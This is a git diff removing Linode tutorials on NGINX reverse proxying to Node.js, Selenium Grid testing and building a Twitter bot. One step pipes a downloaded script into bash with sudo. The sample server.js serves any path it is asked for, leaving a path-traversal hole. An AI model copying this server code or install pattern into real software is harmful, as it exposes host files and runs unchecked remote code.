"/etc/nginx/sites-available/example.com" nginx >}} -#Names a server and declares the listening port -server { - listen 80; - server_name example.com www.example.com; - - #Configures the publicly served root directory - #Configures the index file to be served - root /var/www/example.com; - index index.html index.htm; - - #These lines create a bypass for certain pathnames - #www.example.com/test.js is now routed to port 3000 - #instead of port 80 - location ~* \.(js)$ { - proxy_pass http://localhost:3000; - proxy_set_header Host $host; - } -} - -{{< /file >}} - -1. Create a symlink from your NGINX configuration file in the `sites-available` directory to the `sites-enabled` directory. - - sudo ln -s /etc/nginx/sites-available/example.com /etc/nginx/sites-enabled/example.com - -1. Remove the symlink from NGINX's `default` site configuration file. - - sudo rm /etc/nginx/sites-enabled/default - -1. Verify that there are no syntax errors in your site's configuration file. - - sudo nginx -t - - Your output should resemble the following: - - {{< output >}} -nginx: the configuration file /etc/nginx/nginx.conf syntax is ok -nginx: configuration file /etc/nginx/nginx.conf test is successful - {{}} - -1. Restart NGINX to load your site's configuration. - - sudo systemctl restart nginx - -### Create Your Site's Index File -{{< note >}} -Ensure you replace `example.com` with your own site's name or IP address in all commands and examples in this section. -{{< /note >}} - -1. Create your site's root directory, which will store the `index.html` file you will create in the next step. The directory's location should be the one you designated in your site's NGINX configuration file for the `root` configuration. - - sudo mkdir -p /var/www/example.com - -1. Using the text editor of your choice, create your site's index file in the root directory using the example below. - - {{< file "/var/www/example.com/index.html" >}} - - - - -

If you have not finished the guide, the button below will not work.

- -

The button links to test.js. The test.js request is passed through NGINX and then handled by the Node.js server.

- - - - - - - - {{< /file >}} - - -## Create Your Node.js Web Server - -### Install Node.js - -1. Install the [Node Version Manager](https://github.com/nvm-sh/nvm) (NVM) for Node.js. This program helps you manage different Node.js versions on a single system. - - sudo wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.35.3/install.sh | bash - -1. Load NVM in your current terminal session. - - export NVM_DIR="$([ -z "${XDG_CONFIG_HOME-}" ] && printf %s "${HOME}/.nvm" || printf %s "${XDG_CONFIG_HOME}/nvm")" - [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" - - Verify that you have access to NVM by printing its current version. - - nvm --version - - You should see a similar output: - - {{< output >}} -0.35.3 - {{}} - -1. Install Node.js. - - {{< note respectIndent=false >}} -As of writing this guide, the latest LTS version of [Node.js](https://nodejs.org/en/download/) is `v12.16.2`. Update this command with the version of Node.js you would like to install. - {{< /note >}} - - nvm install 12.16.2 - -1. Use NVM to run your preferred version of Node.js. - - nvm use 12.16.2 - - Your output will resemble the following - - {{< output >}} -Now using node v12.16.2 (npm v6.14.4) - {{}} - -### Create a Test JavaScript File - -In the [Install and Configure NGINX](#install-and-configure-nginx) section you configured NGINX to listen on port `80` to serve its static content. You also configured a reverse proxy to your Linode's `localhost:3000` when a request for the `/test.js` file is made. In this section you will create the `test.js` file to be able to test your Node.js web server that you will create in the [next section](#create-your-the-node-js-web-server-file). - -{{< note >}} -Ensure you replace `example.com` with your own site's name or IP address in all commands and examples in this section. -{{< /note >}} - -1. Create the `test.js` file in your site's root directory. - - {{< file "/var/www/example.com/test.js" >}} - - - - -

-Your Node.JS server is working. -

- -

-The below button is technically dynamic. You are now using Javascript on both the client-side and the server-side.

- - -

- - - - {{}} - -### Create the Node.js Web Server File - -In this section, you will create a file named `server.js` that will use Node.js modules to help you write a simple web server that can handle client requests and return responses to them. - -1. In your site's root directory, create the `server.js` file with the following content. - - {{< file "/var/www/example.com/server.js">}} -//nodejs.org/api for API docs -//Node.js web server -var http = require("http"), //Import Node.js modules - url = require("url"), - path = require("path"), - fs = require("fs"); - -http.createServer(function(request, response) { //Create server -var name = url.parse(request.url).pathname; //Parse URL -var filename = path.join(process.cwd(), name); //Create filename -fs.readFile(filename, "binary", function(err, file) { //Read file - if(err) { //Tracking Errors - response.writeHead(500, {"Content-Type": "text/plain"}); - response.write(err + "\n"); - response.end(); - return; - } - response.writeHead(200); //Header request response - response.write(file, "binary"); //Sends body response - response.end(); //Signals to server that - }); //header and body sent -}).listen(3000); //Listening port -console.log("Server is listening on port 3000.") //Terminal output - {{}} - -1. Run a new screen session. - - screen - - Press **return** when prompted. - -1. Navigate to your root directory where your `test.js` file is located. - - cd /var/www/example.com - -1. Run your Node.js web server. Appending `&` to the end of a command will keep the web server's process running in the background. - - node server.js & - - You should see your terminal return a process ID after issuing the previous command. Return to your command prompt by entering **CTRL+C**. - -1. Exit your screen session by pressing **Ctrl+A** then **d**. - -1. Open a browser and navigate to your site's domain or IP address. You should see your site's `index.html` page load. - -1. Click on the page's **Go to test.js** button to load the `test.js` page whose content will be served dynamically with your Node.js web server. - -1. Click on the test page's **Display the date and time** button to dynamically display the current date and time. - -You have now completed the basic configurations to proxy requests to the Node.js server you wrote. As a next step, you may consider looking into further NGINX configurations to better handle serving [static content](https://docs.nginx.com/nginx/admin-guide/web-server/serving-static-content/#) and dynamic content from a [reverse proxy](https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/). - -There are many frameworks to help you continue to develop web apps using JavaScript. You may consider using [Express.js](https://expressjs.com/), [Ember.js](https://emberjs.com/), or [Vue.js](https://vuejs.org/). diff --git a/docs/guides/development/nodejs/install-configure-selenium-grid-ubuntu-16-04/index.md b/docs/guides/development/nodejs/install-configure-selenium-grid-ubuntu-16-04/index.md deleted file mode 100644 index e3198163115..00000000000 --- a/docs/guides/development/nodejs/install-configure-selenium-grid-ubuntu-16-04/index.md +++ /dev/null @@ -1,260 +0,0 @@ ---- -slug: install-configure-selenium-grid-ubuntu-16-04 -title: 'Use Selenium Grid for Cross-Browser Compatibility Testing' -title_meta: 'Install and Configure Selenium Grid on Ubuntu 16.04 for Automated Testing' -description: 'This guide shows how to set up a Selenium grid that can be used to test webpages and applications in different browsers, browser versions, and operating systems.' -authors: ["Jared Kobos"] -contributors: ["Jared Kobos"] -published: 2018-03-09 -keywords: ["selenium", "node.js", " headless browser", "automation", "webdriver"] -tags: ["automation"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Selenium Project Home](https://www.seleniumhq.org/projects/webdriver/)' - - '[Selenium Node.js Documentation](http://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/index.html)' -audiences: ["intermediate"] -relations: - platform: - key: install-selenium-grid - keywords: - - distribution: Ubuntu 16.04 -aliases: ['/development/nodejs/install-configure-selenium-grid-ubuntu-16-04/'] ---- - -## What is Selenium Grid? - -[Selenium](https://seleniumhq.github.io/selenium/docs/api/javascript/index.html) is a browser automation library with bindings for most common programming languages. It is most often used for testing web applications, but can also be used to automate any task that a web browser can perform. In contrast to similar tools such as Nightmare.js, Selenium can run tasks or tests on any version of any major browser. This can make it more complicated to get running, but allows you to test your application's behavior on exactly the platforms that users are likely to need. - -For many applications, the Selenium standalone server is sufficient. However, Selenium can also be configured as a grid, with multiple nodes communicating with a central hub. The nodes and hub can be run on the same computer or server, or can be located on separate Linodes. Selenium Grid offers two main benefits: - -- Selenium runs on Java and is compatible with all major operating systems. This makes it possible to set up a grid consisting of servers (or virtual machines) running Linux, OSX, and Windows. A test suite can then be run against the grid, with each test run on multiple browsers and operating systems. The hub will delegate each test to a node that has the requested capability (e.g. sending a Safari test to a node with OSX and the Safari webdriver). - -- For larger projects, running a lengthy test suite in series can be time consuming. By running the test suite across a grid consisting of multiple servers, it is possible to distribute the tests across multiple nodes and significantly increase the performance of the testing process. - -This guide shows how to set up a simple Selenium grid consisting of a hub and two nodes, all on separate Linodes. A simple test script will then be used to demonstrate running tests against different versions of Firefox. - -## Prepare Grid Linodes - -Install Java and other dependencies on each Linode that will be part of the Selenium grid. This guide uses three Linodes for this purpose, but you can also run all of the nodes from the same Linode if you prefer. Throughout this guide, these Linodes will be referred to as `hub`, `node-1`, and `node-2`. - -### Install Java - -{{% content "install-java-8-ppa" %}} - -### Install Dependencies - -When running tests with Selenium, each grid node can only run tests on browsers that have been installed on that node. Each browser also requires a separate executable webdriver. For this example, install Geckodriver and different versions of Firefox on `node-1` and `node-2`. - -1. Check the latest release of Geckodriver on the [releases](https://github.com/mozilla/geckodriver/releases) page and download it to `node-1` and `node-2`: - - wget https://github.com/mozilla/geckodriver/releases/download/v0.19.1/geckodriver-v0.19.1-linux64.tar.gz - -2. Extract the archive and move the executable to a location in your PATH: - - tar -xvf geckodriver-v0.19.1-linux64.tar.gz - sudo mv geckodriver /usr/local/bin/ - -3. On `node-1`, install the latest stable version of Firefox: - - sudo apt install firefox - -4. On `node-2`, install the Firefox developer edition: - - sudo add-apt-repository ppa:ubuntu-mozilla-daily/firefox-aurora - sudo apt update && sudo apt install firefox - -5. Check and record the version numbers to use when running tests: - - **node-1:** - - firefox --version - - {{< output >}} -Mozilla Firefox 58.0.2 -{{< /output >}} - - **node-2:** - - firefox --version - - {{< output >}} -Mozilla Firefox 59.0 -{{< /output >}} - -### Download Selenium - -Selenium provides a single `.jar` file that can be used to run a standalone server, hub, or node. Check the latest release at the [Selenium downloads page](https://www.seleniumhq.org/download/) and download the file to each Linode using `wget`: - - wget http://selenium-release.storage.googleapis.com/3.10/selenium-server-standalone-3.10.0.jar - -### Start Grid Hub - -1. On the `hub` Linode, start the hub by running the Selenium server with `-role` set to `hub`: - - java -jar selenium-server-standalone-3.10.0.jar -role hub - -2. The resulting output will give you URLs to use for registering nodes and connecting to the hub. Copy these URLs for later use: - - {{< output >}} -21:27:51.470 INFO [GridLauncherV3.launch] - Selenium build info: version: '3.10.0', revision: '176b4a9' -21:27:51.475 INFO [GridLauncherV3$2.launch] - Launching Selenium Grid hub on port 4444 -2018-03-06 21:27:52.248:INFO::main: Logging initialized @1166ms to org.seleniumhq.jetty9.util.log.StdErrLog -21:27:52.446 INFO [Hub.start] - Selenium Grid hub is up and running -21:27:52.447 INFO [Hub.start] - Nodes should register to http://69.164.211.42:4444/grid/register/ -21:27:52.448 INFO [Hub.start] - Clients should connect to http://69.164.211.42:4444/wd/hub -{{< /output >}} - -### Configure Grid Nodes - -1. On `node-1` and `node-2`, create a node configuration file `config.json` and add the following content. Replace the `hub` address with the public IP of the `hub` Linode, and replace the `version` with the version of Firefox installed on the respective nodes. If you are putting the grid and nodes on the same Linode, replace the IP address with `http://localhost:4444`: - - {{< file "config.json" json >}} -{ - "capabilities": - [ - { - "browserName": "firefox", - "marionette": true, - "maxInstances": 5, - "seleniumProtocol": "WebDriver", - "version": "58.0.2" - } - ], - "proxy": "org.openqa.grid.selenium.proxy.DefaultRemoteProxy", - "maxSession": 5, - "port": 5555, - "register": true, - "registerCycle": 5000, - "hub": "http://192.0.2.0:4444", - "nodeStatusCheckTimeout": 5000, - "nodePolling": 5000, - "role": "node", - "unregisterIfStillDownAfter": 60000, - "downPollingLimit": 2, - "debug": false, - "servlets" : [], - "withoutServlets": [], - "custom": {} -} -{{< /file >}} - -2. Connect each node to the hub: - - java -jar selenium-server-standalone-3.10.0.jar -role node -nodeConfig config.json - -3. You should see output similar to the following, indicating that your nodes have been successfully registered to the hub: - - {{< output >}} -21:33:22.856 INFO - Selenium Server is up and running on port 5555 -21:33:22.857 INFO - Selenium Grid node is up and ready to register to the hub -21:33:22.895 INFO - Starting auto registration thread. Will try to register every 5000 ms. -21:33:22.896 INFO - Registering the node to the hub: http://69.164.211.42:4444/grid/register -21:33:23.064 INFO - Updating the node configuration from the hub -21:33:23.178 INFO - The node is registered to the hub and ready to use -{{< /output >}} - - You can also check the output from the hub itself: - - {{< output >}} -21:27:53.849 INFO [DefaultGridRegistry.add] - Registered a node http://198.58.122.154:5555 -21:27:56.445 WARN [BaseRemoteProxy.] - Max instance not specified. Using default = 1 instance -21:27:56.450 INFO [DefaultGridRegistry.add] - Registered a node http://50.116.22.93:5555 -21:27:56.743 WARN [BaseRemoteProxy.] - Max instance not specified. Using default = 1 instance -{{< /output >}} - -4. Navigate to `http://192.0.2.0:4444/grid/console` in a web browser (replace `192.0.2.0` with the public IP address of your `hub` Linode) to see a console listing your available nodes. - - ![Selenium Grid Console](grid-console.png "Selenium Grid Console") - - The console should show that each node is configured to use a different version of Firefox. - -## Prepare Local Test Environment - -In this example, the test script will be run from your local development machine. It will connect to the remote grid and execute the tests from there. If you do not have an available development machine, use a separate Linode. - -### Install Node.js and NPM - -This guide uses the NPM `selenium-webdriver` package, which contains Node.js bindings for Selenium. - -{{% content "install-nodejs-nodesource" %}} - -### Create an Example Test Script - -This script tests the Linode Docs home page. - -1. Create a directory for the test suite: - - mkdir test-selenium && cd test-selenium - -2. Initialize a Node.js app within the directory: - - npm init - - Accept the default values when prompted. - -3. Install NPM packages: - - npm install --save selenium-webdriver - -4. Create `test.js` and add the following script. Replace `192.0.2.0` on Line 11 with the IP address of `hub`: - - {{< file "~/test-selenium/test.js" js >}} -const {Builder, By, Capabilities, Key, until} = require('selenium-webdriver'); -let firefox = require('selenium-webdriver/firefox'); - -const VERSIONS = ['58.0.2','59.0']; - -function buildDrivers(versions) { - let drivers = []; - for (let version of versions) { - driver = new Builder().forBrowser('firefox') - .withCapabilities(Capabilities.firefox().setBrowserVersion(version)) - .usingServer('http://192.0.2.0:4444/wd/hub') - .setFirefoxOptions( - new firefox.Options().headless()) - .build(); - drivers.push(driver); - } - console.log('built drivers for ' + versions); - return drivers; -} - -async function example(driver) { - try { - await driver.get('http://www.linode.com/docs'); - await driver.findElement(By.name('q')).sendKeys('nginx', Key.RETURN); - let el = driver.findElement(By.linkText('How to Configure nginx')); - await driver.wait(until.elementIsVisible(el), 1000); - await el.click(); - title = await driver.getTitle(); - } finally { - await driver.quit(); - } -}; - -async function main() { - const drivers = await buildDrivers(VERSIONS); - - for (let driver of drivers) { - example(driver); - }; -} - -main(); -{{< /file >}} - -5. Save the test script, then run it: - - node test.js - - If successful, the script will search for NGINX in the Linode docs library, visit one of the results pages, and check that the page title matches the link text. It will print out the page title as well: - - {{< output >}} -built drivers for 58.0.2,59.0 -How to Configure nginx -How to Configure nginx -{{< /output >}} - -6. The driver requested two versions of Firefox to run on the two nodes. `test.js` runs the driver asynchronously across two nodes in order to run the `getTitle` method across two browser versions. - -By creating different drivers for each combination of platform, browser, and version you want to test, you can specify which node or nodes should be used to run each test. If more than one node has the requested capabilities, Selenium will choose one of the nodes at random. In this way it is possible to run a large, cross-browser test suite in much less time than it would take to run the tests one at a time. diff --git a/docs/guides/development/nodejs/nodejs-twitter-bot/index.md b/docs/guides/development/nodejs/nodejs-twitter-bot/index.md deleted file mode 100644 index ed6844386cc..00000000000 --- a/docs/guides/development/nodejs/nodejs-twitter-bot/index.md +++ /dev/null @@ -1,1092 +0,0 @@ ---- -slug: nodejs-twitter-bot -title: "Make a Twitter Bot and Reply to Tweets in Node.js" -description: "How to make a Twitter bot with Node.js, publish it to GitHub, and then host it on a Linode cloud instance. The guide is intended for people new to coding." -authors: ["Pj Metz"] -contributors: ["Pj Metz"] -published: 2021-07-23 -keywords: ["how to make a twitter bot", "node twitter", "reply bot twitter", "node twitter api tutorial"] -tags: ["version control system", "javascript"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - "[Documentation Home | Docs | Twitter Developer Platform](https://developer.twitter.com/en/docs)" - - "[npm Docs](https://docs.npmjs.com/)" - - "[node - npm](https://www.npmjs.com/package/node)" - - "[node-schedule - npm](https://www.npmjs.com/package/node-schedule)" - - "[dotenv - npm](https://www.npmjs.com/package/dotenv)" - - "[twit - npm](https://www.npmjs.com/package/twit)" - - "[GitHub Desktop](https://desktop.github.com/)" - - "[Creating a new User in Ubuntu](https://youtu.be/fDHHKR0nVQg)" - - "[FileZilla](/cloud/guides/filezilla/)" ---- - -## Introduction - -Twitter bots are a great way to practice using an API and develop some coding skills along the way. You can usually get the bot going for under 100 lines of code, so it’s especially good for beginners. This tutorial shows how to make a Twitter bot that tweets a link to a video game soundtrack once a week (pulled randomly from an array of YouTube links). It also responds to other Twitter users who ask for a link with a random link from the same array. - -The tutorial demonstrates how to use Node.js, a framework for JavaScript, and a few packages from *npm*, the Node Package Manager, to have your bot tweeting in no time. As well, the guide shows how to set up a GitHub repository for your bot's code. At the end of the guide, we demonstrate how to host the bot on a Linode cloud instance. - -## Before You Begin - -### Create Twitter, GitHub, and Linode Accounts - -To follow along with this guide, accounts with the following websites are required: - -- [Twitter](https://twitter.com/home): If you already have a Twitter account, you can use that existing account to access the [Twitter Developer portal](https://developer.twitter.com/en). You may instead want to create a new, separate Twitter account to use for this tutorial. If you sign up for a new account, Twitter requires a unique email address and phone number to register the account. - - This is where you decide what you want your account to be named and what it does automatically. The tutorial names the bot [@SNESSoundtracks](https://twitter.com/snessoundtracks), but your Twitter account name needs to be unique. - -- [GitHub](https://github.com/): This tutorial shows how to record the bot's application code in a repository on GitHub. If you already have a GitHub account, you can use that one. If you do not, create a new one now. - -- [Linode](https://www.linode.com): At the end of the tutorial, the Node.js app is installed and run on a Linode instance. If you already have a Linode account, you can use that one. If you do not, create a new one now. For new accounts, there is a **Sign Up** link at the bottom of this tutorial that offers a free credit. - -### Install Software on your Workstation - -The following software is needed on your workstation to complete the tutorial: - -- **A plain-text editor**. [Visual Studio Code](https://code.visualstudio.com/) (abbreviated *VS Code*) is a recommended desktop text editor, but any other plain-text editor can be used as well. VS Code also includes a [built-in terminal](https://code.visualstudio.com/docs/editor/integrated-terminal). - -- **Git**: The Git command line software, or [GitHub Desktop](https://desktop.github.com/). - - These tools are used to download a copy of the GitHub repository that is created in this guide. The GitHub Desktop software can be more user-friendly for beginners, but you might prefer to work out of the command line. Instructions for using both are provided in this tutorial. - - To install the command line software, follow our [How to Install Git on Linux, Mac or Windows](/cloud/guides/how-to-install-git-on-linux-mac-and-windows/) guide. Then, follow the [Configure Git](/cloud/guides/how-to-configure-git/#configure-git) section of our [Getting Started with Git](/cloud/guides/how-to-configure-git/) guide. When doing this, you don't need to set the `core.editor` option, but it is important to set your username and email for Git. - -- **[Node.js](https://nodejs.org/en/) and the [Node Package Manager](https://www.npmjs.com/) (*npm*)**, which are used to initialize a new npm package for the Twitter bot. - - There are a number of different ways to install Node.js and npm. Our [How to Install Node.js](/cloud/guides/how-to-install-nodejs/) guide outlines some of these options. For this tutorial, we recommend using the *Node Version Manager* (*nvm*), which can manage multiple versions of Node.js and npm. Follow the next [Install Node.js and npm via the Node Version Manager](#install-nodejs-and-npm-via-the-node-version-manager) section for instructions. - -### Install Node.js and npm via the Node Version Manager - -The original [nvm](https://github.com/nvm-sh/nvm) software project is used on **Unix, Linux, and macOS**: - -1. Follow the [Install NVM](/cloud/guides/how-to-install-use-node-version-manager-nvm/#install-nvm) section of our [How to Install and Use the Node Version Manager](/cloud/guides/how-to-install-use-node-version-manager-nvm/) guide to install nvm. - -1. Run this command from your terminal. This installs the latest version of Node.js and npm: - - nvm install --lts - -A separate [nvm-windows](https://github.com/coreybutler/nvm-windows) project was created for native installation on **Windows**: - -1. Follow the [instructions in the project's README](https://github.com/coreybutler/nvm-windows#installation--upgrades) to install nvm-windows. - -1. Run this command from your terminal. This installs the latest version of Node.js and npm: - - nvm install latest - -## Apply for Access to the Twitter Developer Portal - -Twitter's developer portal is where you register your new account to be able to use the Twitter API. This is an important step because it unlocks the account's ability to tweet by using the API with code instead of manually tweeting. You know, the whole point of a bot? - -Follow these steps to register for developer access: - -1. Head to the [developer page](https://developer.twitter.com/en). Once there you’ll see a link near the profile picture on the top right that says **Apply**. - -1. Click the **Apply for a developer account** button on the page that appears: - - ![Twitter Developer Portal - Apply for access button](twitter-apply-for-access-button.png "Twitter Developer Portal - Apply for access button") - -1. If you are not already signed in, Twitter prompts you to sign in to your account. - -1. Twitter first asks what your intended use for the developer account is. For this tutorial, we have chosen the **Hobbyist** option, followed by the **Making a bot** option. - - ![Twitter developer application - which best describes you question with Hobbyist and Making a bot options selected](twitter-developer-application-which-best-describes-you.png "Twitter developer application - which best describes you question with Hobbyist and Making a bot options selected") - -1. Complete the remaining questions in the **Basic info**, **Indended use**, **Review**, and **Terms** screens. The **Indended use** screen asks you for more detail about your application. For this tutorial, these are the answers that were entered for each prompt: - - - **In your words**: Let Twitter know that you’re applying for developer access as a hobby, and it’s just for learning to code and practicing a bot. - - - **Are you planning to analyze Twitter data?**: No - - - **Will your app use Tweet, Retweet, Like, Follow, or Direct Message functionality?**: Yes. In the description, let Twitter know that your bot responds to users that @ mention it, and that it also periodically sends out Tweets on its own. The bot tweets and respond to Tweets with links to video game soundtracks on YouTube. - - - **Do you plan to display Tweets or aggregate data about Twitter content outside Twitter?**: No - - - **Will your product, service, or analysis make Twitter content or derived information available to a government entity?**: No - -1. Because you're not giving information to the government or consuming streaming data for analytical purposes, the application should be more straightforward. Follow the instructions on screen until you have an authenticated developer account. - -A later section in this guide shows how to create an app within the Twitter developer portal and fill out the descriptions for it. - -## Create and Clone a GitHub Repository - -As mentioned in the Before You Begin section, this tutorial records the code for the Twitter bot in a Git repository. Specifically, we first create a new repository on GitHub.com and then pull it down to your workstation. By doing this, we can populate the repository with some helpful files, like a .gitignore and a README: - -1. Visit GitHub.com, then follow the [Create a repository](https://docs.github.com/en/get-started/quickstart/create-a-repo#create-a-repository) section in GitHub's official [Create a repo](https://docs.github.com/en/get-started/quickstart/) document. When creating the repository, make these selections: - - - You can name the repository whatever you would like, but later code examples in the tutorial assume it is named `snes-soundtracks`. - - - The repository can be public or private. If you make it private, *and if you also want to use the Git command line tools*, then you need to authenticate with GitHub inside your terminal. This authentication requires a few extra steps, and these steps are outlined in the note below. For a simpler experience, it's recommended to make the repository public. - - {{< note respectIndent=false >}} -To authenticate with Github inside the terminal, see the [Authenticating with the command line](https://docs.github.com/en/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github#authenticating-with-the-command-line) section of GitHub's [About authentication to GitHub](https://docs.github.com/en/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github) document. - -Specifically, [personal access tokens](https://docs.github.com/en/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token) are the recommended method of authenticating for this tutorial. [Working with public keys](https://docs.github.com/en/github/authenticating-to-github/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) is not demonstrated. -{{< /note >}} - - - Enable the README file toggle. - - - Choose a license. [choosealicense.com](https://choosealicense.com/) has helpful recommendations for which license to use. This tutorial recommends the MIT License. - - - Enable the `.gitignore` toggle and choose **Node** from the available options. - - {{< note respectIndent=false >}} -A Git repository's `.gitignore` file allows you to specify certain files or file types that should not be checked into source control. Node.js projects feature some of these files. GitHub's `.gitignore` template for Node.js sets up some appropriate default files to exclude. For more information about `.gitignore` file options, see [this document from git-scm.com](https://git-scm.com/docs/gitignore). -{{< /note >}} - -1. After you finish the create repository form, the new repository appears in your browser. From this page, download a copy of the repository to your workstation: - - - **To use GitHub Desktop**, follow GitHub's [Cloning a repository from GitHub to GitHub Desktop](https://docs.github.com/en/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop) document. Here's an example screenshot of where the **Open with GitHub Desktop** option is in your repository: - - ![Github.com repository showing the green Code button clicked with Open in Github Desktop option highlighted](github-repo-open-in-github-desktop-highlighted.png "Github.com repository showing the green Code button clicked with Open in Github Desktop option highlighted") - - - **To use the command line**, run the `git clone` command in your terminal as follows: - - git clone https://github.com/your-github-username/snes-soundtracks.git - - Before running the command, be sure to substitute your own GitHub username in for `your-github-username`. If you chose a different name for your repository, substitute that in for `snes-soundtracks`. - - {{< note respectIndent=false >}} -If you created a private repository, remember to set up a [personal access token](https://docs.github.com/en/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token) for GitHub. When referencing a private repository, the above `git clone` command prompts for a GitHub username and password. You should enter the *personal access token* (**not** your normal GitHub password) when prompted for the password. -{{< /note >}} - -At this point, your source control is present on both your machine and on GitHub. - -## Create an App in the Twitter Developer Portal - -After your developer account has been registered, you can create an app within the developer portal. When you create the app, Twitter creates a set of keys that your Node.js project uses to authenticate with the service. This section shows how to create your Twitter app and where to store the app's keys. - -1. Create a file named `.env` inside your code repository on your workstation. Paste the following snippet into the file. - - {{< file ".env" >}} -consumer_key= -consumer_secret= -access_token= -access_token_secret= -{{< /file >}} - - Later in this section, the keys that are provided by the Twitter developer portal are recorded in this file. Your `.env` file serves as your one source of truth for these keys. The `.gitignore` for your project excludes the `.env` file from source control, so you won’t accidentally upload your keys to GitHub. - - {{< note respectIndent=false >}} -In a later section, a Node.js module named `dotenv` is used by your application code to read the secret keys in the `.env` file. -{{< /note >}} - -1. Return to the [Twitter developer portal dashboard](https://developer.twitter.com/en/portal/dashboard) in your browser. - -1. Click the **Create Project** button. - - ![Twitter developer portal with Create Project button highlighted](twitter-developer-portal-create-project-button.png "Twitter developer portal with Create Project button highlighted") - - Twitter's developer portal has two concepts that are used to manage your access to the Twitter API: *projects* and *apps*. A project contains an app. For earlier versions of the Twitter API, standalone apps were created, and projects were not required. A project and corresponding app are both required to access the v2 Twitter API, which this tutorial uses. - - {{< note respectIndent=false >}} -Review Twitter's [Developer Apps](https://developer.twitter.com/en/docs/apps/overview) documentation for more information about projects and apps. -{{< /note >}} - -1. Complete the forms that appear: - - - **Name your Project**: The name of your project needs to be unique. - - - **Which bests describes you?**: Choose **Making a bot**. - - - **Describe your new Project**: Enter a brief description of the bot's abilities: periodically tweeting links to video game soundtracks on YouTube, and responding to users that @ mention the bot. - - - **Add your App**: You may see a screen that looks like the following, which asks you to pick an app to add to the new project: - - ![Twitter developer portal: create new project form with choose app dropdown menu highlighted](twitter-create-project-form-create-new-app-option-highlighted.png "Twitter developer portal: create new project form with choose app dropdown menu highlighted") - - Because you don't have any apps yet, the dropdown menu on this page is empty. Click the **Create new App instead** button above the dropdown menu. - A text field appears that allows you to enter an app name. Enter a unique name in this field. - - {{< note respectIndent=false >}} -You may not see the dropdown menu, and the text field might appear right away instead. -{{< /note >}} - - ![Twitter developer portal: create new project form with new app name text field highlighted](twitter-create-project-form-app-name-field.png "Twitter developer portal: create new project form with new app name text field highlighted") - -1. After completing the forms, a page with secret keys appears: - - ![Twitter developer portal: API Key, API Secret Key, and Bearer Token dialog for new project and app](twitter-create-project-api-key-api-secret-key-bearer-token.png "Twitter developer portal: API Key, API Secret Key, and Bearer Token dialog for new project and app") - -1. Copy and paste the keys into your `.env` file as follows: - - - Copy the **API Key** and paste it at the end of the `consumer_key=` line. No extra spaces or quotes should be added. For example, if your API Key was `dvF6z55HXwpSE3qBVFNONV2DN`, then the line would be written like `consumer_key=dvF6z55HXwpSE3qBVFNONV2DN`. - - - Copy the **API Secret Key** and paste it at the end of the `consumer_secret=` line. As with the previous line, do not add extra spaces or quotes. - - {{< note respectIndent=false >}} -This tutorial does not need the Bearer Token, but you can record that somewhere outside of your project if you'd like to. It can also be regenerated from inside the developer portal later if you don't record it. -{{< /note >}} - -1. Close the dialog that displays the secret keys. The developer portal should now look like this: - - ![The Twitter developer portal after project and app have been created](twitter-developer-portal-after-app-created.png "The Twitter developer portal after project and app have been created") - -### Give your Twitter App Read and Write Permissions - -By default, the app that you created has Read Only permissions. Apps that are set to Read Only are not able to create Tweets, which is the primary function of the bot in this tutorial. With Read and Write permissions, your bot is able to create Tweets. Follow these instructions to give your bot Read and Write permissions: - -1. Navigate to the app (not the project) in the Twitter developer portal. The app is listed under the project in the sidebar navigation of the developer portal. - -1. Scroll down to the **App permissions** heading. This section should display your app as **Read Only**. Click on the **Edit** button in this section. - - ![Twitter developer portal: app permissions pane with edit button highlighted](twitter-developer-portal-app-permissions-edit-button-highlighted.png "Twitter developer portal: app permissions pane with edit button highlighted") - -1. In the form that appears, choose the **Read and Write** option and then click **Save**. - -1. Navigate to the **Keys and Tokens** tab at the top of the page. - -1. Scroll down to the **Access Token and Secret** pane. Click the **Generate keys** button for the access token and secret. - -1. A dialog appears that displays secret keys. Copy and paste the keys into your `.env` file as follows: - - - Copy the **Access Token** and paste it at the end of the `access_token=` line in your `.env` file, with no extra spaces or quotes. - - - Copy the **Access Token Secret** and paste it at the end of the `access_token_secret=` line in your `.env` file, with no extra spaces or quotes. - -1. Dismiss the dialog. - -## Initialize the Node Project and Install npm Dependencies - -Right now, your local repository contains four files: your `.env` secrets, a `.gitignore`, a `README.md`, and a `LICENSE` file. It does not have any Node.js project files yet. To initialize your Node.js project: - -1. Navigate to your local code repository in your terminal: - - cd snes-soundtracks - - {{< note respectIndent=false >}} -If you are using VS Code's built-in terminal and have your code repository folder open, then you do not need to run this `cd` command. This is because VS Code's terminal automatically starts inside the folder for your editor's workspace. -{{< /note >}} - -1. Run npm's `init` command: - - npm init -y - - The following output appears: - - {{< output >}} -npm init -y -Wrote to /home/username/snes-soundtracks/package.json: - -{ - "name": "snes-soundtracks", - "version": "1.0.0", - "description": "", - "main": "index.js", - "scripts": { - "test": "echo \"Error: no test specified\" && exit 1" - }, - "repository": { - "type": "git", - "url": "git+https://github.com/username/snes-soundtracks.git" - }, - "keywords": [], - "author": "", - "license": "ISC", - "bugs": { - "url": "https://github.com/username/snes-soundtracks/issues" - }, - "homepage": "https://github.com/username/snes-soundtracks#readme" -} -{{< /output >}} - - This output shows the contents of a new `package.json` file that was created by the `npm init` command. The `package.json` file contains metadata about your Node.js project. For more information about this file, see the [What is the file `package.json`](https://nodejs.org/en/knowledge/getting-started/npm/what-is-the-file-package-json/) article in the official Node.js documentation, and the [`package.json` reference](https://docs.npmjs.com/cli/v7/configuring-npm/package-json) in the npm documentation. - -1. The application code for your bot relies on a few different dependencies from npm. To install these dependencies, enter these commands in your terminal while still inside the code repository: - - npm install node - npm install node-schedule - npm install twit - npm install dotenv - - These dependencies provide everything needed to have a functional Twitter bot: - - - [node](https://www.npmjs.com/package/node): Installing the `node` package provides a local Node.js binary inside your project folder. 